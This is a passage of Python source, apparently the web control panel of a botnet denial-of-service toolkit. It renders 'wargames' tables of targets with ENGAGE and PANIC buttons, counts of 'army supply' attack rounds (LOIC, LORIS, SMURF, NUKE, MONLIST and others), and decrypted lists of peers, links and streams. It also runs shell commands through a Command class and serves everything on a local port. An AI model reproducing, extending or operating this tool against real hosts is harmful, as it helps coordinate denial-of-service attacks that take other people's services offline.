  7325. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  7326. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td><td align='center'>FRAGGLE:</td><td align='center'>SNIPER:</td><td align='center'>UFOACK:</td><td align='center'>UFORST:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_fraggle' value='"+str(self.supply_fraggle)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_sniper' value='"+str(self.supply_sniper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoack' value='"+str(self.supply_ufoack)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_uforst' value='"+str(self.supply_uforst)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td><td align='center'>DROPER:</td><td align='center'>OVERLAP:</td><td align='center'>PINGER:</td><td align='center'>UFOUDP:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_droper' value='"+str(self.supply_droper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_overlap' value='"+str(self.supply_overlap)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_pinger' value='"+str(self.supply_pinger)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoudp' value='"+str(self.supply_ufoudp)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  7327. else:
  7328. wargames_autopanel = ""
  7329. wargames_supply = ""
  7330. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  7331. f = open("/tmp/out", "w")
  7332. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  7333. wargames_id = 1
  7334. for m in self.list_wargames_rev: # list = creation, target, estimated
  7335. if wargames_msg_sep in m:
  7336. m = m.split(wargames_msg_sep)
  7337. wargames_creation = m[0] # creation date
  7338. self.decrypt(wargames_deckey, wargames_creation)
  7339. if self.decryptedtext:
  7340. wargames_creation = self.decryptedtext
  7341. else:
  7342. wargames_creation = nodec_text
  7343. self.decryptedtext = "" # clean decryptedtext buffer
  7344. wargames_target = m[1] # target
  7345. wargames_target_joined = wargames_target
  7346. self.decrypt(wargames_deckey, wargames_target)
  7347. if self.decryptedtext:
  7348. wargames_target = self.decryptedtext
  7349. if wargames_target.startswith("www."):
  7350. wargames_target = wargames_target.replace("www.","")
  7351. else:
  7352. wargames_target = nodec_text
  7353. self.decryptedtext = "" # clean decryptedtext buffer
  7354. wargames_estimated = m[2] # estimated time
  7355. self.decrypt(wargames_deckey, wargames_estimated)
  7356. if self.decryptedtext:
  7357. wargames_estimated = self.decryptedtext
  7358. wargames_join_flag = True
  7359. else:
  7360. wargames_estimated = nodec_text
  7361. self.decryptedtext = "" # clean decryptedtext buffer
  7362. else:
  7363. wargames_target = "KEY?"
  7364. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  7365. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  7366. try:
  7367. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  7368. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  7369. except: # discarding errors also on panel
  7370. wargames_creation = now
  7371. wargames_estimated = now
  7372. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  7373. wargames_creation = now
  7374. wargames_estimated = now
  7375. if (now >= wargames_estimated) == False: # change flag color when time is out
  7376. time_now = time.mktime(now)
  7377. time_estimated = time.mktime(wargames_estimated)
  7378. wargames_eta = (time_estimated - time_now)
  7379. hours, rem = divmod(wargames_eta, 3600)
  7380. minutes, seconds = divmod(rem, 60)
  7381. if "!!!" in wargames_target_joined:
  7382. status = "JOINED!"
  7383. wargames_status = "<font color='cyan'>"+status+"</font>"
  7384. if wargames_join_flag == True:
  7385. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  7386. else:
  7387. wargames_join = "KEY?" # present but with a different crypto-key
  7388. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  7389. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7390. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  7391. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7392. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  7393. else:
  7394. status = "-ONGOING-"
  7395. wargames_status = "<font color='orange'>"+status+"</font>"
  7396. if wargames_join_flag == True:
  7397. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  7398. else:
  7399. wargames_join = "KEY?" # present but with a different crypto-key
  7400. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  7401. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7402. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  7403. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7404. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  7405. else:
  7406. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7407. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  7408. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7409. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  7410. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  7411. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  7412. status = "-CLOSED-"
  7413. wargames_status = "<font color='red'>"+status+"</font>"
  7414. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  7415. wargames_id = wargames_id + 1
  7416. wargames_table += "</table><br>"
  7417. f.write(wargames_table)
  7418. f.write(end_mark)
  7419. f.close()
  7420. if page == "/cmd_decrypt_wargames_update":
  7421. if not os.path.exists('/tmp/out'):
  7422. open('/tmp/out', 'w').close()
  7423. with open('/tmp/out', 'r') as f:
  7424. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  7425. if page == "/cmd_decrypt_links":
  7426. self.pages["/cmd_decrypt_links"] = "<pre>Waiting for decrypting results...</pre>"
  7427. try:
  7428. link_deckey = pGet["link_deckey"]
  7429. except:
  7430. link_deckey = ""
  7431. end_mark = "[Info] [AI] End of decryption."
  7432. if link_deckey != "": # links decryption
  7433. nodec_text = "This LINK cannot be solved with that KEY..."
  7434. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('creation','"+str(link_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('topic','"+str(link_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('url','"+str(link_deckey)+"')>URL:</a></td></tr>"
  7435. f = open("/tmp/out", "w")
  7436. self.list_links_rev = reversed(self.list_links) # order by DESC
  7437. for m in self.list_links_rev: # list = creation, topic, url
  7438. if links_msg_sep in m:
  7439. m = m.split(links_msg_sep)
  7440. link_creation = m[0] # creation date
  7441. self.decrypt(link_deckey, link_creation)
  7442. if self.decryptedtext:
  7443. link_creation = self.decryptedtext
  7444. else:
  7445. link_creation = nodec_text
  7446. self.decryptedtext = "" # clean decryptedtext buffer
  7447. link_url = m[1] # url
  7448. self.decrypt(link_deckey, link_url)
  7449. if self.decryptedtext:
  7450. link_url = self.decryptedtext
  7451. if link_url.startswith("www."):
  7452. link_url = link_url.replace("www.","")
  7453. else:
  7454. link_url = nodec_text
  7455. self.decryptedtext = "" # clean decryptedtext buffer
  7456. link_topic = m[2] # topic
  7457. self.decrypt(link_deckey, link_topic)
  7458. if self.decryptedtext:
  7459. link_topic = self.decryptedtext
  7460. else:
  7461. link_topic = nodec_text
  7462. self.decryptedtext = "" # clean decryptedtext buffer
  7463. else:
  7464. link_creation = nodec_text
  7465. link_url = nodec_text
  7466. link_topic = nodec_text
  7467. if link_creation == nodec_text:
  7468. links_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td></tr>"
  7469. else:
  7470. links_table += "<tr><td align='center'>"+link_creation+"</td><td align='center'>"+link_topic+"</td><td align='center'><a href='"+str(link_url)+"' target='_blank'>"+str(link_url)+"</a></td></tr>"
  7471. links_table += "</table><br>"
  7472. f.write(links_table)
  7473. f.write(end_mark)
  7474. f.close()
  7475. if page == "/cmd_decrypt_links_update":
  7476. if not os.path.exists('/tmp/out'):
  7477. open('/tmp/out', 'w').close()
  7478. with open('/tmp/out', 'r') as f:
  7479. self.pages["/cmd_decrypt_links_update"] = "<pre>"+f.read()+"<pre>"
  7480. if page == "/cmd_decrypt_streams":
  7481. self.pages["/cmd_decrypt_streams"] = "<pre>Waiting for decrypting results...</pre>"
  7482. try:
  7483. stream_deckey = pGet["stream_deckey"]
  7484. except:
  7485. stream_deckey = ""
  7486. end_mark = "[Info] [AI] End of decryption."
  7487. if stream_deckey != "": # streams decryption
  7488. nodec_text = "This STREAM cannot be solved with that KEY..."
  7489. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('creation','"+str(stream_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('topic','"+str(stream_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('url','"+str(stream_deckey)+"')>STREAM:</a></td><td align='center'>VIDEO:</td></tr>"
  7490. f = open("/tmp/out", "w")
  7491. self.list_streams_rev = reversed(self.list_streams) # order by DESC
  7492. stream_num = 0
  7493. for m in self.list_streams_rev: # list = creation, topic, url
  7494. if streams_msg_sep in m:
  7495. m = m.split(streams_msg_sep)
  7496. stream_creation = m[0] # creation date
  7497. self.decrypt(stream_deckey, stream_creation)
  7498. if self.decryptedtext:
  7499. stream_creation = self.decryptedtext
  7500. else:
  7501. stream_creation = nodec_text
  7502. self.decryptedtext = "" # clean decryptedtext buffer
  7503. stream_url = m[1] # url
  7504. self.decrypt(stream_deckey, stream_url)
  7505. if self.decryptedtext:
  7506. stream_url = self.decryptedtext
  7507. if stream_url.startswith("www."):
  7508. stream_url = stream_url.replace("www.","")
  7509. else:
  7510. stream_url = nodec_text
  7511. self.decryptedtext = "" # clean decryptedtext buffer
  7512. stream_topic = m[2] # topic
  7513. self.decrypt(stream_deckey, stream_topic)
  7514. if self.decryptedtext:
  7515. stream_topic = self.decryptedtext
  7516. else:
  7517. stream_topic = nodec_text
  7518. self.decryptedtext = "" # clean decryptedtext buffer
  7519. stream_id = str(stream_url.split("v=")[1]) # extract (Youtube) VideoID
  7520. stream_num = stream_num + 1
  7521. else:
  7522. stream_creation = nodec_text
  7523. stream_url = nodec_text
  7524. stream_topic = nodec_text
  7525. stream_id = None
  7526. if stream_creation == nodec_text:
  7527. streams_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td><td align='center'>KEY?</td></tr>"
  7528. else:
  7529. streams_table += "<tr><td align='center'>"+stream_creation+"</td><td align='center'>"+stream_topic+"</td><td align='center'><a href='"+str(stream_url)+"' target='_blank'>"+str(stream_url)+"</a></td><td align='center'><button id='play_button_"+str(stream_num)+"' value='"+str(stream_id)+"' onclick='PlayStream("+str(stream_num)+");return false;'>PLAY!</button><div id='video_"+str(stream_num)+"'></div></td></tr>"
  7530. streams_table += "</table><br>"
  7531. f.write(streams_table)
  7532. f.write(end_mark)
  7533. f.close()
  7534. if page == "/cmd_decrypt_streams_update":
  7535. if not os.path.exists('/tmp/out'):
  7536. open('/tmp/out', 'w').close()
  7537. with open('/tmp/out', 'r') as f:
  7538. self.pages["/cmd_decrypt_streams_update"] = "<pre>"+f.read()+"<pre>"
  7539. if page == "/cmd_decrypt_tv":
  7540. self.pages["/cmd_decrypt_tv"] = "<pre>Waiting for decrypting results...</pre>"
  7541. try:
  7542. tv_deckey = pGet["tv_deckey"]
  7543. except:
  7544. tv_deckey = ""
  7545. end_mark = "[Info] [AI] End of decryption."
  7546. if tv_deckey != "": # tv decryption
  7547. nodec_text = "*** [This TV.PEER cannot be solved with that KEY...]"
  7548. self.playlist = []
  7549. self.list_tv_rev = reversed(self.list_tv) # order by DESC
  7550. if self.list_tv:
  7551. tv_table = '<table cellpadding="35" cellspacing="35" border="1"><tr><td><u>PLAYLIST:</u><br><br><ul>'
  7552. else:
  7553. tv_table = '<table border="0"><tr><td>Never connected to any feed...</u><ul>'
  7554. f = open("/tmp/out", "w")
  7555. tv_num = 0
  7556. self.playing_title = ""
  7557. for n in self.list_tv_rev: # list = url
  7558. url_tv = n # url
  7559. try:
  7560. self.decrypt(tv_deckey, url_tv)
  7561. if self.decryptedtext:
  7562. url_tv = self.decryptedtext
  7563. if url_tv != "1": # black magic!
  7564. self.playlist.append(url_tv)
  7565. else:
  7566. url_tv = nodec_text
  7567. else:
  7568. url_tv = nodec_text
  7569. except:
  7570. url_tv = nodec_text
  7571. self.decryptedtext = "" # clean decryptedtext buffer
  7572. if url_tv != nodec_text:
  7573. if url_tv.endswith(".ogv"): # remote .ogv
  7574. o = urlparse(url_tv)
  7575. start = '/'
  7576. end = '.ogv'
  7577. s = o.path
  7578. r = re.compile(start+'(.*?)'+end)
  7579. m = r.search(s)
  7580. if m:
  7581. self.playing_title = m.group(1).split("/")[1]
  7582. tv_table += "<table><tr><td>[<a href='#' onclick=PlayTV('"+str(url_tv)+"')>PLAY!</a>]</td><td><a href='"+str(url_tv)+"' target='_blank'>"+str(self.playing_title)+"</a></td></tr></table>"
  7583. else:
  7584. tv_table +="<li>"+str(nodec_text)+"</li>"
  7585. if self.playlist: # random play one video from playlist | autostart - controls - preload - allowfullscreen
  7586. playlist_now = random.choice(self.playlist)
  7587. if playlist_now.endswith(".ogv"): # remote .ogv
  7588. o = urlparse(playlist_now)
  7589. start = '/'
  7590. end = '.ogv'
  7591. s = o.path
  7592. r = re.compile(start+'(.*?)'+end)
  7593. m = r.search(s)
  7594. if m:
  7595. self.playing_title_now = m.group(1).split("/")[1]
  7596. tv_table += "</ul></td></tr><tr><td><u>WATCHING:</u> <a id='tv_a' href='"+str(playlist_now)+"' target='_blank'><label id='tv_p'>"+str(self.playing_title_now)+"</label></a><br><br><video id='player' controls width='100%' height='480' preload='auto' autoplay><source id='tv_stream_source' src='"+str(playlist_now)+"' type='video/ogg' />Sorry, your browser doesn’t support HTML5 media.</video></td></tr></table><br>"
  7597. else:
  7598. tv_table += "</ul></td></tr></table><br>"
  7599. f.write(tv_table)
  7600. f.write(end_mark)
  7601. f.close()
  7602. if page == "/cmd_decrypt_tv_update":
  7603. if not os.path.exists('/tmp/out'):
  7604. open('/tmp/out', 'w').close()
  7605. with open('/tmp/out', 'r') as f:
  7606. self.pages["/cmd_decrypt_tv_update"] = "<pre>"+f.read()+"<pre>"
  7607. if page == "/cmd_decrypt_globalnet":
  7608. self.pages["/cmd_decrypt_globalnet"] = "<pre>Waiting for decrypting results...</pre>"
  7609. try:
  7610. globalnet_deckey = pGet["globalnet_deckey"]
  7611. except:
  7612. globalnet_deckey = ""
  7613. end_mark = "[Info] [AI] End of decryption."
  7614. if globalnet_deckey != "": # globalnet decryption
  7615. nodec_text = "KEY?"
  7616. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_owner' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('owner','"+str(globalnet_deckey)+"');>OWNER:</a></td><td align='center'><a id='filter_comment' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('comment','"+str(globalnet_deckey)+"')>COMMENT:</a></td><td align='center'><a id='filter_warp' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('warp','"+str(globalnet_deckey)+"')>WARPING:</a></td><td align='center'><a id='filter_ip' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('ip','"+str(globalnet_deckey)+"')>IP:</a></td></tr>"
  7617. f = open("/tmp/out", "w")
  7618. self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
  7619. for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
  7620. if globalnet_msg_sep in m:
  7621. m = m.split(globalnet_msg_sep)
  7622. globalnet_owner = m[0] # owner
  7623. self.decrypt(globalnet_deckey, globalnet_owner)
  7624. if self.decryptedtext:
  7625. globalnet_owner = self.decryptedtext
  7626. else:
  7627. globalnet_owner = nodec_text
  7628. self.decryptedtext = "" # clean decryptedtext buffer
  7629. globalnet_comment = m[1] # comment
  7630. self.decrypt(globalnet_deckey, globalnet_comment)
  7631. if self.decryptedtext:
  7632. globalnet_comment = self.decryptedtext
  7633. else:
  7634. globalnet_comment = nodec_text
  7635. self.decryptedtext = "" # clean decryptedtext buffer
  7636. globalnet_warp = m[2] # warp
  7637. self.decrypt(globalnet_deckey, globalnet_warp)
  7638. if self.decryptedtext:
  7639. globalnet_warp = self.decryptedtext
  7640. else:
  7641. globalnet_warp = nodec_text
  7642. if globalnet_warp == "OFF":
  7643. warp_color = "pink"
  7644. elif globalnet_warp == "ON1":
  7645. warp_color = "orange"
  7646. else: # ON2
  7647. warp_color = "blue"
  7648. self.decryptedtext = "" # clean decryptedtext buffer
  7649. globalnet_ip = m[3] # ip
  7650. self.decrypt(globalnet_deckey, globalnet_ip)
  7651. if self.decryptedtext:
  7652. globalnet_ip = self.decryptedtext
  7653. else:
  7654. globalnet_ip = nodec_text
  7655. self.decryptedtext = "" # clean decryptedtext buffer
  7656. else:
  7657. globalnet_owner = "KEY?"
  7658. globalnet_comment = "KEY?"
  7659. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'><font color="+warp_color+">"+str(globalnet_warp)+"</font></td><td align='center'><font color="+warp_color+">"+str(globalnet_ip)+"</font></td></tr>"
  7660. globalnet_table += "</table><br>"
  7661. f.write(globalnet_table)
  7662. f.write(end_mark)
  7663. f.close()
  7664. if page == "/cmd_decrypt_globalnet_update":
  7665. if not os.path.exists('/tmp/out'):
  7666. open('/tmp/out', 'w').close()
  7667. with open('/tmp/out', 'r') as f:
  7668. self.pages["/cmd_decrypt_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  7669. if page == "/blackholes":
  7670. self.pages["/blackholes"] = self.html_blackholes()
  7671. if page == "/requests":
  7672. if pGet=={}:
  7673. self.pages["/requests"] = self.html_requests()
  7674. else:
  7675. self.save_cfg(pGet)
  7676. self.pages["/requests"] = self.html_request_submit()
  7677. if page == "/abduction":
  7678. self.pages["/abduction"] = self.html_abduction()
  7679. if page == "/stats":
  7680. self.pages["/stats"] = self.html_stats()
  7681. if page == "/wormhole":
  7682. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  7683. ctype = "text/html"
  7684. if page.find(".js") != -1:
  7685. ctype = "application/javascript"
  7686. elif page.find(".txt") != -1:
  7687. ctype = "text/plain"
  7688. elif page.find(".ico") != -1:
  7689. ctype = "image/x-icon"
  7690. elif page.find(".png") != -1:
  7691. ctype = "image/png"
  7692. elif page.find(".css") != -1:
  7693. ctype = "text/css"
  7694. if page in self.pages:
  7695. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  7696. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  7697. class Command(object):
  7698. def __init__(self, cmd):
  7699. self.cmd = cmd
  7700. self.process = None
  7701. def run(self, timeout):
  7702. def target():
  7703. self.process = subprocess.Popen(self.cmd, shell=True)
  7704. thread = threading.Thread(target=target)
  7705. thread.start()
  7706. thread.join(timeout)
  7707. if thread.is_alive():
  7708. self.process.terminate()
  7709. thread.join()
  7710. if __name__ == "__main__":
  7711. webbrowser.open('http://127.0.0.1:9999', new=1)
  7712. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7713. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  7714. tcpsock.bind((host, port))
  7715. while True:
  7716. tcpsock.listen(4)
  7717. (clientsock, (ip, c_port)) = tcpsock.accept()
  7718. newthread = ClientThread(ip, c_port, clientsock)
  7719. newthread.start()